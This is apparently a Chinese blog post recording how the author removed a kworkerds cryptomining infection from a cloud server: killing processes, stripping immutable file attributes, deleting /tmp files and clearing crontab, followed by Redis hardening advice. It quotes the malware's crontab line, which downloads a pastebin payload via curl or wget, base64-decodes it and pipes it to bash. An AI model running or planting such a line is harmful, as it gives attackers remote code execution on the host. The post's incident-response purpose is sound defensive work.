记录一次解决kworkerds挖矿木马的过程

男娘i 2022-02-25 05:24 631阅读 0赞

## 1.楔子 ##

阿里云的服务器发生了SSH链接特别慢，上去后发现CPU占用100%，好像和进程【 kworkerds】有关。停止进程后，CPU正常，稍候又会自动重启，CPU又100%。这是中毒的症状，于是记录下这个过程。  
病毒kworkerds又叫挖矿，中毒的服务器一般都是现实cpu 100%。

## 2. 定位问题 ##

使用Top命令查看CPU的使用情况，如下所示：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70]

阿里云上的监视器显示如下：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70 1]  
很明显一个叫做kworkerds的程序占据了几乎所有的CPU。  
看下kworkerds进程的具体信息`ps aux|grep kworkerds|grep -v grep`如下所示：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70 2]  
上图显示出多很多个kworkerds进程在干坏事，可执行程序的位置在`/tmp/kworkerds/`  
这里在使用`ps aux|grep kworkerds|grep -v grep|wc -l`命令看下到底有多少个这样的进程，下图显示为222个，好恐怖！！！  
![在这里插入图片描述][20190331194623900.png]

## 3. 解决问题 ##

### 3. 1KILL掉进程 ###

一个很自然的解决方式就是把这些进程KILL掉，于是执行下面的KILL掉这些进程命令：  
`ps aux|grep kworkerds|grep -v grep|cut -c 9-15|xargs kill -9`

> 几个命令：  
> "ps - ef"是linux 里查看所有进程的命令。这时检索出的进程将作为下一条命令"grep mcfcm\_st"的输入。  
> "grep mcfcm\_st"的输出结果是，所有含有关键字"mcfcm\_st"的进程，这是Oracle数据库中远程连接进程的共同特点。  
> "grep -v grep"是在列出的进程中去除含有关键字"grep"的进程。  
> "cut -c 9-15"是截取输入行的第9个字符到第15个字符，而这正好是进程号PID。  
> "xargs kill -9"中的xargs命令是用来把前面命令的输出结果（PID）作为"kill -9"命令的参数，并执行该令。

执行后发现CPU确实降了下来，这是我以为这个病毒就这样被我解决掉了，这也太弱爆了吧，最后我发现我真是Too Young Too Simple.这些进程过一会又死灰复燃了。如下图所示：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70 3]![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70 4]  
备注：还有几个可疑的python进程，干啥的不知道，同样删除这些python进程

### 3. 2 删掉病毒文件 ###

于是我想到病毒的可执行文件没有删除，病毒文件在/tmp下，比如`thisxxs kworkerds`等文件都是病毒文件。如下：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70 5]

于是执行 ： `rm -rf /tmp/*`删除掉所有的病毒文件。  
但是执行的过程中发现一些文件不能被删除，提示没有权限，什么？？？root用户竟然会有没有权限？我惊呆了，后仔细分析发先了问题之所在，原来文件自带`i`属性，难怪删不了。  
![在这里插入图片描述][2019033120461146.png]  
![在这里插入图片描述][20190331204537812.png]

> 您是全能root用户，居然系统告诉您操作不允许，是Linux疯了么？当然不是，如果您会用lsattr命令，问题就有了答案。  
> 秘密终于暴露了，在lsattr命令下，t文件带有一个"i"的属性，所以才不可以删除，这个属性专门用来保护重要的文件不被删除，通常的情况下，懂得用这几个命令的

i ：这个i可就很厉害了。它可以让一个文件“不能被删除、改名，设置连接也无法写入或添加据。” 对于系统安全性有相当大的 
    帮助。只有root能设置此属性。
    通常系统管理员有能力判断这个文件是否可以被删除。
    详细参考：https://blog.csdn.net/JJuStudent/article/details/72805676

于是执行`chattr -i thisxxs`去掉i属性，之后就可完美删除掉。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70 6]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70 7]

### 3. 3 清除定时任务 ###

病毒进程会过一段时间重新启动，于是想到有定时任务，执行`crontab -l`发现果然有定时任务如下：  
![在这里插入图片描述][20190331200832827.png]  
定时任务内容如下：

* /23 * * * *   (curl -fsSL https://pastebin.com/raw/Gw7mywhC || wget -q-O- https://pastebin.com/raw/Gw7mywhC)|base64 -d |/bin/bash

在执行`crontab -r`或者`crontab -e`删除和修改定时任务时，发现和上面一样，有i属性，不能操作。去掉i属性后即可删除掉定时任务。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70 8]  
定时任务呗删除干净：  
![在这里插入图片描述][20190331210452346.png]

### 3. 4 结果 ###

不断执行上面的三部：杀进程、删文件、删定时任务，redis关掉等一些乱七八糟的操作后（删了很多文件），后顺利解决。  
结果如下：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70 9]

## 4.结论 ##

后面总结了如果是病毒一般遇到的方式：  
1.查看各项资源占用情况  
2.查看定时任务  
3.查看tmp目录下的隐藏文件  
4.查看系统日志。（之前系统日志被人为删除，后面估计是病毒中已经把真实ip和密钥泄露）  
5.kworkerds病毒大部分是通过redis端口，弱密码进来，所以服务器redis最好是修改端口，iptables做拦截，密码要做复杂，买了两台阿里云做主备同时被感染，都是装了redis，后面买阿里云的redis后没有情况发生了。  
6.被感染的机子有条件最好重做系统，彻底清除，没有条件，最好更换公网ip，ssh的端口和其他敏感端口，防止黑客入侵盗取数据

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70]: /images/20220225/d60ae04ccb154003baa0ad1480696153.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70 1]: /images/20220225/71baa7016560442b8efba6c996377862.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70 2]: /images/20220225/d42bc182db2244cd8922574ff119ca8d.png
[20190331194623900.png]: /images/20220225/d07e88382c62416085f401ebc5fe0fa9.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70 3]: https://img-blog.csdnimg.cn/20190331195656335.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70 4]: /images/20220225/754e68b5646e44f6a51a738f02aec2cd.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70 5]: /images/20220225/4d36290673704d4ebfc206e59bba4eed.png
[2019033120461146.png]: /images/20220225/ce6027e8a73446d587d24c8f1d4cf2b9.png
[20190331204537812.png]: /images/20220225/42139b24b40b494cb4e6d853ff2a4668.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70 6]: /images/20220225/499f585018e04bff8c5ebc37e50f703c.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70 7]: /images/20220225/5480268066254fd8a172e1b0e99ef204.png
[20190331200832827.png]: /images/20220225/7b0ad83a83ac4eab9ab113aada00bdf3.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70 8]: /images/20220225/ce5f0211dddb4978877366994f65e43e.png
[20190331210452346.png]: /images/20220225/47c5fbdd0da14b43b00d2f7ee52e0947.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9qaWVuaXlpbWlhby5ibG9nLmNzZG4ubmV0_size_16_color_FFFFFF_t_70 9]: /images/20220225/2f8f26c5320c4f8d98a09e83f82a27ea.png